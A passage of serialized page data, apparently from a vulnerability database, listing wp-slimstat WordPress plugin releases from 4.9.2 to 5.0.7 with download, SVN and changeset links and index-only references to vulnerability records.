p-slimstat%2Ftags%2F5.0.6&new_path=%2Fwp-slimstat%2Ftags%2F5.0.7",[1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":237,"download_url":1990,"svn_tag_url":1991,"released_at":39,"has_diff":54,"diff_files_changed":1992,"diff_lines":39,"trac_diff_url":1993,"vulnerabilities":1994,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.5.1&new_path=%2Fwp-slimstat%2Ftags%2F5.0.6",[1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":2007,"download_url":2008,"svn_tag_url":2009,"released_at":39,"has_diff":54,"diff_files_changed":2010,"diff_lines":39,"trac_diff_url":2011,"vulnerabilities":2012,"is_current":54},"5.0.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.5&new_path=%2Fwp-slimstat%2Ftags%2F5.0.5.1",[2013,2014,2015,2016,2017,2018,2019,2020,2021,2022,2023,2024],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":250,"download_url":2026,"svn_tag_url":2027,"released_at":39,"has_diff":54,"diff_files_changed":2028,"diff_lines":39,"trac_diff_url":2029,"vulnerabilities":2030,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.4&new_path=%2Fwp-slimstat%2Ftags%2F5.0.5",[2031,2032,2033,2034,2035,2036,2037,2038,2039,2040,2041,2042],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":2044,"download_url":2045,"svn_tag_url":2046,"released_at":39,"has_diff":54,"diff_files_changed":2047,"diff_lines":39,"trac_diff_url":2048,"vulnerabilities":2049,"is_current":54},"5.0.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.3&new_path=%2Fwp-slimstat%2Ftags%2F5.0.4",[2050,2051,2052,2053,2054,2055,2056,2057,2058,2059,2060,2061,2062,2063],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":2065,"download_url":2066,"svn_tag_url":2067,"released_at":39,"has_diff":54,"diff_files_changed":2068,"diff_lines":39,"trac_diff_url":2069,"vulnerabilities":2070,"is_current":54},"5.0.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.2&new_path=%2Fwp-slimstat%2Ftags%2F5.0.3",[2071,2072,2073,2074,2075,2076,2077,2078,2079,2080,2081,2082,2083,2084],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":2086,"download_url":2087,"svn_tag_url":2088,"released_at":39,"has_diff":54,"diff_files_changed":2089,"diff_lines":39,"trac_diff_url":2090,"vulnerabilities":2091,"is_current":54},"5.0.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0.1&new_path=%2Fwp-slimstat%2Ftags%2F5.0.2",[2092,2093,2094,2095,2096,2097,2098,2099,2100,2101,2102,2103,2104,2105],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":2107,"download_url":2108,"svn_tag_url":2109,"released_at":39,"has_diff":54,"diff_files_changed":2110,"diff_lines":39,"trac_diff_url":2111,"vulnerabilities":2112,"is_current":54},"5.0.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F5.0&new_path=%2Fwp-slimstat%2Ftags%2F5.0.1",[2113,2114,2115,2116,2117,2118,2119,2120,2121,2122,2123,2124,2125,2126],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":431,"download_url":2128,"svn_tag_url":2129,"released_at":39,"has_diff":54,"diff_files_changed":2130,"diff_lines":39,"trac_diff_url":2131,"vulnerabilities":2132,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.5.0.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F5.0\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.4&new_path=%2Fwp-slimstat%2Ftags%2F5.0",[2133,2134,2135,2136,2137,2138,2139,2140,2141,2142,2143,2144,2145,2146],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":2148,"download_url":2149,"svn_tag_url":2150,"released_at":39,"has_diff":54,"diff_files_changed":2151,"diff_lines":39,"trac_diff_url":2152,"vulnerabilities":2153,"is_current":54},"4.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.3.3&new_path=%2Fwp-slimstat%2Ftags%2F4.9.4",[2154,2155,2156,2157,2158,2159,2160,2161,2162,2163,2164,2165,2166,2167],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":283,"download_url":2169,"svn_tag_url":2170,"released_at":39,"has_diff":54,"diff_files_changed":2171,"diff_lines":39,"trac_diff_url":2172,"vulnerabilities":2173,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.3.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.3.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.3.2&new_path=%2Fwp-slimstat%2Ftags%2F4.9.3.3",[2174,2175,2176,2177,2178,2179,2180,2181,2182,2183,2184,2185,2186,2187,2188],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"version":2190,"download_url":2191,"svn_tag_url":2192,"released_at":39,"has_diff":54,"diff_files_changed":2193,"diff_lines":39,"trac_diff_url":2194,"vulnerabilities":2195,"is_current":54},"4.9.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.3.1&new_path=%2Fwp-slimstat%2Ftags%2F4.9.3.2",[2196,2197,2198,2199,2200,2201,2202,2203,2204,2205,2206,2207,2208,2209,2210,2211],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2213,"download_url":2214,"svn_tag_url":2215,"released_at":39,"has_diff":54,"diff_files_changed":2216,"diff_lines":39,"trac_diff_url":2217,"vulnerabilities":2218,"is_current":54},"4.9.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.3&new_path=%2Fwp-slimstat%2Ftags%2F4.9.3.1",[2219,2220,2221,2222,2223,2224,2225,2226,2227,2228,2229,2230,2231,2232,2233,2234],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":295,"download_url":2236,"svn_tag_url":2237,"released_at":39,"has_diff":54,"diff_files_changed":2238,"diff_lines":39,"trac_diff_url":2239,"vulnerabilities":2240,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.9.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.9.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.9.2&new_path=%2Fwp-slimstat%2Ftags%2F4.9.3",[2241,2242,2243,2244,2245,2246,2247,2248,2249,2250,2251,2252,2253,2254,2255,2256],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":2258,"download_url":2259,"svn_tag_url":2260,"released_at":39,"has_diff":54,"diff_files_changed":2261,"diff_lines":39,"trac_diff_url":2262,"vulnerabilities":2263,"is_current":54},"4.9.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slim